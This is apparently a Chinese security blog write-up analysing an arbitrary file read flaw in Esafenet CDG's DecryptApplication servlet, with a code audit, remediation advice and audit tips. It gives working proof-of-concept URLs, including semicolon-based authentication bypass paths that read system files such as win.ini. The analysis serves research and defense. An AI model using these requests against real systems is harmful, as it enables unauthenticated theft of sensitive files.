亿赛通 DecryptApplication 任意文件读取漏洞逆向代码审计
字数 1813 2025-11-21 12:31:03

亿赛通 DecryptApplication 任意文件读取漏洞分析与复现

一、系统介绍

亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。

二、项目构成

该系统为传统的基于 Servlet+JSP+自定义控制器实现的JavaWeb项目,没有使用Maven管理依赖,也没有pom.xml文件。

三、漏洞分析

3.1 漏洞定位

通过公开POC得知漏洞URL为:https://127.0.0.1/CDGServer3/client/DecryptApplication

在web.xml中查找对应的Servlet映射路径,发现/client/DecryptApplication映射到com.esafenet.servlet.client.DecryptApplicationService类。

3.2 代码审计流程

3.2.1 DecryptApplicationService类分析

  • 该类继承WebController
  • 包含actionViewUploadFile方法,负责文件下载功能

3.2.2 WebController权限校验机制

// 主要操作流程:
1. 反射调用方法,将action拼接至command参数值
2. 获取commandfromurl参数,判断表单是否重复提交
3. 通过request.getRequestURI()获取uri,赋值给clienturl
4. 权限判断条件:uri不为空且包含loginSystemConfig || loginMng不为空且保持登录状态
5. 不满足条件则重定向至/loginExpire.jsp

关键问题:使用request.getRequestURI()方法进行权限判断存在缺陷,易被绕过。

3.2.3 actionViewUploadFile方法分析

方法接收三个参数:

  • uploadFileId:数据库中存储的文件ID
  • fileName1:下载时显示给用户的文件名
  • filePath:服务器上的实际文件路径(漏洞关键参数)

3.2.4 downLoadFile方法分析

  • 仅对uploadFileId进行空值检查
  • 使用filePath直接构造File对象
  • 检查文件存在性后调用CDGUtil.downFile下载

3.2.5 漏洞根源

  • filePath参数完全用户可控
  • 无任何危险字符过滤或路径校验
  • 结合权限绕过可实现任意文件读取

四、漏洞复现

4.1 基础POC

https://127.0.0.1/CDGServer3/client/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1

4.2 权限绕过技术

由于权限校验使用request.getRequestURI(),可通过分号实现绕过:

有效POC:

  1. https://127.0.0.1/CDGServer3/client/;login/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1
  2. https://127.0.0.1/CDGServer3/client/;SystemConfig/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1

4.3 请求方式

  • 支持GET和POST请求
  • RsDispatcherServlet类中doGet方法实际调用doPost方法

五、修复建议

  1. 输入验证:对filePath参数进行严格校验,限制路径访问范围
  2. 权限校验改进:避免使用request.getRequestURI()进行敏感操作权限判断
  3. 路径规范化:对文件路径进行规范化处理,防止目录遍历
  4. 访问控制:实施基于角色的访问控制机制
  5. 版本升级:及时更新至官方安全版本
  6. 网络隔离:限制系统外网访问权限

六、技术总结

6.1 漏洞链

  1. 权限绕过:通过分号注入;login;SystemConfig绕过URI检测
  2. 参数控制filePath参数完全用户可控且无过滤
  3. 文件操作:直接使用用户输入路径进行文件读取操作

6.2 漏洞特点

  • 利用简单,无需认证即可读取系统任意文件
  • 影响范围广,可获取敏感配置文件
  • 结合其他漏洞可能造成更严重影响

6.3 审计要点

  1. 关注文件操作相关的用户输入参数
  2. 检查权限校验逻辑的完整性
  3. 验证路径遍历防护措施的有效性
  4. 测试特殊字符的过滤情况

七、参考资源

  • 原文链接:https://axsec.blog.csdn.net/article/details/136689742

:本文仅用于安全研究和教学目的,请勿用于非法用途。

亿赛通 DecryptApplication 任意文件读取漏洞分析与复现 一、系统介绍 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。 二、项目构成 该系统为传统的基于 Servlet+JSP+自定义控制器实现的JavaWeb项目,没有使用Maven管理依赖,也没有pom.xml文件。 三、漏洞分析 3.1 漏洞定位 通过公开POC得知漏洞URL为: https://127.0.0.1/CDGServer3/client/DecryptApplication 在web.xml中查找对应的Servlet映射路径,发现 /client/DecryptApplication 映射到 com.esafenet.servlet.client.DecryptApplicationService 类。 3.2 代码审计流程 3.2.1 DecryptApplicationService类分析 该类继承WebController 包含 actionViewUploadFile 方法,负责文件下载功能 3.2.2 WebController权限校验机制 关键问题 :使用 request.getRequestURI() 方法进行权限判断存在缺陷,易被绕过。 3.2.3 actionViewUploadFile方法分析 方法接收三个参数: uploadFileId :数据库中存储的文件ID fileName1 :下载时显示给用户的文件名 filePath :服务器上的实际文件路径(漏洞关键参数) 3.2.4 downLoadFile方法分析 仅对 uploadFileId 进行空值检查 使用 filePath 直接构造File对象 检查文件存在性后调用 CDGUtil.downFile 下载 3.2.5 漏洞根源 filePath 参数完全用户可控 无任何危险字符过滤或路径校验 结合权限绕过可实现任意文件读取 四、漏洞复现 4.1 基础POC 4.2 权限绕过技术 由于权限校验使用 request.getRequestURI() ,可通过分号实现绕过: 有效POC: https://127.0.0.1/CDGServer3/client/;login/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1 https://127.0.0.1/CDGServer3/client/;SystemConfig/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1 4.3 请求方式 支持GET和POST请求 RsDispatcherServlet类中doGet方法实际调用doPost方法 五、修复建议 输入验证 :对 filePath 参数进行严格校验,限制路径访问范围 权限校验改进 :避免使用 request.getRequestURI() 进行敏感操作权限判断 路径规范化 :对文件路径进行规范化处理,防止目录遍历 访问控制 :实施基于角色的访问控制机制 版本升级 :及时更新至官方安全版本 网络隔离 :限制系统外网访问权限 六、技术总结 6.1 漏洞链 权限绕过 :通过分号注入 ;login 或 ;SystemConfig 绕过URI检测 参数控制 : filePath 参数完全用户可控且无过滤 文件操作 :直接使用用户输入路径进行文件读取操作 6.2 漏洞特点 利用简单,无需认证即可读取系统任意文件 影响范围广,可获取敏感配置文件 结合其他漏洞可能造成更严重影响 6.3 审计要点 关注文件操作相关的用户输入参数 检查权限校验逻辑的完整性 验证路径遍历防护措施的有效性 测试特殊字符的过滤情况 七、参考资源 原文链接:https://axsec.blog.csdn.net/article/details/136689742 注 :本文仅用于安全研究和教学目的,请勿用于非法用途。